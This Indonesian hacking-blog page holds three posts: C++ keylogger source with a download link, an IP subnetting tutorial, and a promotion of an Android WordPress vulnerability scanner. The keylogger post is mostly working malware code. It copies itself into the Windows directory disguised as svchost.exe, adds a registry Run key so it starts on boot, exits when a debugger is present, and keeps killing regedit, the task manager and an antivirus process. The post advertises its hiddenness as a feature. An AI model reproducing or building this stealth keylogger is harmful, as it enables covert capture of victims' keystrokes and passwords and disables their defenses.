Kamis, 07 November 2013

Source Code Keylogger Menggunakan C++

Keylogger atau Perekam Ketikan merupakan sebuah perangkat baik itu perangkat keras atau perangkat lunak yang digunakan untuk memantau penekanan tombol papan ketik [keyboard]. Sebuah perekam ketikan atau keylogger biasanya akan menyimpan hasil pemantauan penekanan tombol papan ketik tersebut ke dalam sebuah berkas catatan (log file). Beberapa perekam ketikan tertentu bahkan dapat mengirimkan hasil rekamannya ke surel [e-mail] tertentu secara berkala.
Keylogger dapat digunakan untuk kepentingan yang baik atau bahkan bisa digunakan untuk kepentingan yang jahat. Kepentingan yang baik antara lain untuk memantau produktivitas karyawan, untuk penegakan hukum dan pencarian bukti kejahatan. Kepentingan yang buruk antara lain pencurian data dan password. (wikipedia)
Beberapa kelebihan keylogger pada artikel ini?
  1. Keylogger berbasis API,full written in C++,mudah dikembangkan.
  2. Size keylogger yang relatif kecil, hanya 20-30 KB tanpa dikompresi.
  3. Mempunyai fitur self copy,auto startup,memonitoring proses yang aktif dan mengakhiri proses yang dapat membahayakan keylogger
  4. Tidak mempunyai GUI, sehingga tidak tampak di Tab App pada task manager
  5. No dependency, tidak usah membawa “beban” seperti keylogger yang dibuat dengan VB classic
  6. Silahkan ditambah sendiri :)

PROJECT KEYLOGGER
Mari kita mulai,pertama download Project Keylogger disini http://www.mediafire.com/?eb13zlbb80ic6r9

Oke, setelah anda download, bisa anda coba atau me-rebuild ulang projek tersebut. Saya asumsikan keylogger sudah berfungsi dan anda memahaminya, LOG file yang dibuat tidak serapih LOG file keylogger master MrHpx, sehingga anda bisa memodifikasi lagi sesuai keinginan anda.
Lanjut ke tahap pembuatan fungsi lainnya untuk membuat keylogger yang lebih powerfull

AutoStartup dan Self Copy
Untuk menambahkan fungsi autostartup,kita menggunakan fungsi sebagai berikut untuk mengakses dan menulis key pada registry:
[crayon lang="c++"]
//registry
char myname[500],tmpdir[500];
HKEY hKey;
DWORD dwFlags;
//========================
extern int __argc;
extern char **__argv;
ATOM MyRegisterClass(HINSTANCE hInstance);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int pHookCode, WPARAM pParamW, LPARAM pParamL);
//EP section
//registry function
void RegWriteString(HKEY hKey, LPCTSTR lpSubKey, LPCTSTR lpValueName, LPCTSTR lpData)
{
int ret = 0;
HKEY phkResult = (HKEY)malloc(255);
ret = RegCreateKey(hKey, lpSubKey, &phkResult);
ret = RegSetValueEx(phkResult, lpValueName, 0, REG_SZ, (BYTE*)lpData, strlen(lpData));
RegCloseKey(hKey);
return;
}
[/crayon]

Contoh Penggunaan AutoStartup:
Mendapatkan path asli dari keylogger, kemudian mencopy dirinya sendiri ke direktori windows dengan nama svchost kemudian membuat key untuk auto startup:
[crayon lang="c++"]
//create startup and copying files
char szCurrent[MAX_PATH];
char szPath[MAX_PATH];
GetModuleFileName(NULL,szCurrent, MAX_PATH-1);
GetWindowsDirectory(szPath, sizeof(szPath));
strcat(szPath, “\\”);
strcat(szPath,”svchost.exe”);
CopyFile(szCurrent, szPath, true);
RegWriteString(HKEY_LOCAL_MACHINE, “Software\\Microsoft\\Windows\\Currentversion\\Run”, “svchost system”, szPath);
[/crayon]

Anti Debug
[crayon lang="c++"]
// Jika didebug, maka akan keluar
if(IsDebuggerPresent() == TRUE)
ExitProcess(0);
[/crayon]
Monitoring proses aktif dan melakukan aksi kill proses yang dianggap membahayakan keylogger
Preprocessor
[crayon lang="c++"]#include tlhelp32.h[/crayon]
Deklarasi Variabel
[crayon lang="c++"]
DWORD WINAPI terminator(LPVOID Param);
DWORD id = 0;
[/crayon]
Fungsi Proses Killer:
[crayon lang="c++"]
//fungsi proses killer
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
void KillProc(char * szProcess)
{
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe32.dwSize = sizeof(PROCESSENTRY32);
Process32First(hProcessSnap, &pe32);
//lakukan pengulangan sampai dapat :D
while(Process32Next(hProcessSnap, &pe32))
{
if(!strcmp(pe32.szExeFile, szProcess))
{
hProcess = OpenProcess(PROCESS_TERMINATE, 0, pe32.th32ProcessID);
TerminateProcess(hProcess, 0);
}
}
CloseHandle(hProcess);
CloseHandle(hProcessSnap);
}[/crayon]
Penggunaan Killer Proses
[crayon lang="c++"]
//killer proses
DWORD WINAPI terminator(LPVOID Param)
{
while(1)
{
Sleep(1000);
KillProc(“regedit.exe”);
KillProc(“taskman.exe”);
KillProc(“PCMAV.exe”);
}
return EXIT_SUCCESS;
}
[/crayon]
Membuat thread baru untuk menjalankan fungsi monitoring dan killer proses:
[crayon lang="c++"]
CreateThread(NULL, 0, &terminator, NULL, 0, &id);
[/crayon]
Oia fungsi tersebut, tulis di main.cpp..
Mengapa tidak membuat file .cpp baru dan menulis fungsi di file tsb? Hemmm.. Karena pada DevC++, pewarisan kelas membuat size program anda membengkak 100%. Entah mengapa, tidak seperti visual c++ buatan microsoft yang sudah dibekali optimasi pada kompilernya.
Mungkin dari anda, ada yang bertanya. Bagaimana dengan fungsi send lognya via e-mail? Owh itu tergantung kreativitas anda. Banyak referensinya.. hehe :P
Akhir kata,selamat ber-coding dan berimajinasi =)

Sumber Binus Hacker

Cara Gampang Hitung IP Address

Halo teman BH :| Binus hacker maksudnya :D , mungkin ini sudah basi atau bagi yg sudah bisa untuk menghitung IP bisa di skip lah ya :D . Postingan ini saya sadur dari blog sendiri di : http://www.gilank.com/cara-gampang-hitung-ip-address-no-hoax/
Silahkan di simak :)

Cara Gampang Hitung IP Address


cara gampang hitung ip address
Sebelumnya, Posting kali ini untuk cara gampang hitung ip address bisa saya pastikan tidak menggunakan bit-bit, Tetapi, ada tapinya nih, tidak salah untuk mengerti skema IP v 4 ini dalam hitungan bit, karena apa yang akan saya jabarkan dasarnya dari bit ini.
Note! : Bagi yang sudah paham bisa langsung scroll menuju Cara Gampang Hitung IP Address di bawah penjelasan ini.
Oke kita mulai dasarnya, contoh ip (private) adalah : 192.168.1.1,   ip di atas bisa di jabarkan dalam bentuk bit sebagai berikut :
  • 192 = 11000000
  • 168 = 10101000
  • 1 = 00000001

Kita Mulai Cara Gampang Hitung IP Address

Note! : contoh kasus adalah mencari , NA (Network Address) , BA (Broadcast Address), Usable Host (Host yang bisa digunakan), Subnet Mask dah itu aja.
1.  IP : 202.30.2.58 / 26
2. IP : 10.10.5.17 /25
3. IP : 111.125.30.16 / 28
Dah 3 aja dulu :D . Sekarang time to menjelaskan caranya, ini bener-bener caranya saja lho, bukan cara untuk menjawab soal di atas. Soal di atas nanti di cucokan sama jawaban
kalianAnda.
Pertama dan yang paling perrrtama adalah, harus hafal (atau tulis di tangan) lompatan Subnet Masknya (ga tau istilah aslinya ya), lompatannya adalah

128, 192 , 224, 240, 248, 252, 254, 255

Dimana setiap lompatan mewakili subnetnya masing-masing dan bitnya (ada 8 bit total). Nah mulai gampang kan :D . Angka dari lompatan ini berlaku untuk semua oktet dalam IP address versi 4 ini. Baik berupa /8 hingga /30 semua berlaku. Biar gampangnya kita ambil contoh untuk no. 1
- IP : 202.30.2.58 / 26 =  Berarti menggunakan lompatan 192 di mana subnet masknya adalah 255.255.255.192  bisa di artikan juga lompatan sebagai = subnet mask
Sekarang kita hitung NA (network addressnya) : rumus yang biasa saya terapkan untuk diri sendiri :p adalah : ujung host (254) – subnet yg di hitung (192) jadi hasilnya adalah
254 – 192 = 62 , nah 62 ini adalah jumlah host yang bisa di gunakan mulai dari 1 – 62 , 64 – 125 dst , nah sudah mulai cerah kan :p, setelah dapat 62 ini kita lihat soalnya lagi, 202.30.2.58
berarti dia masih termasuk di range 1 – 62 di mana NAnya adalah 202.30.2.0 dan Broadcastnya (BA) adalah 202.30.2.63
Usable hostnya ? Dari 202.30.2.1 - 202.30.2.62
Mudah kan? Bagus sekali



Sumber Binus Hacker

Rabu, 06 November 2013

Android WordPress Vulnerability Scanner

Kali ini kita akan share sebuah tools yang berguna untuk melakukan testing keamanan terhadap situs yang berbasis wordpress. Dimana hasil dari scan bisa dilihat berupa report dan dikirimkan ke email.
Berikut penampakannya:

aWPVSCAN

aWPScan

Scan Report awPVscan

aWPVSCAN adalah Android WordPress Vulnerability Scanner yaitu aplikasi android ditulis dalam ruby dibuat untuk menemukan kelemahan yang terdapat dalam website yang berbasis WordPress. Dimaksudkan menggunakannya untuk untuk profesional keamanan atau administrator WordPress untuk menilai seberapa besar keamanan website WordPress mereka.
* Tested on Samsung Galaxy Nexus, Jelly Bean 4.1.2
Link download : Google Play
Mirror : Indowebster password:israelserverisdown

Sumber Binux Hacker

 
Sharus Corporation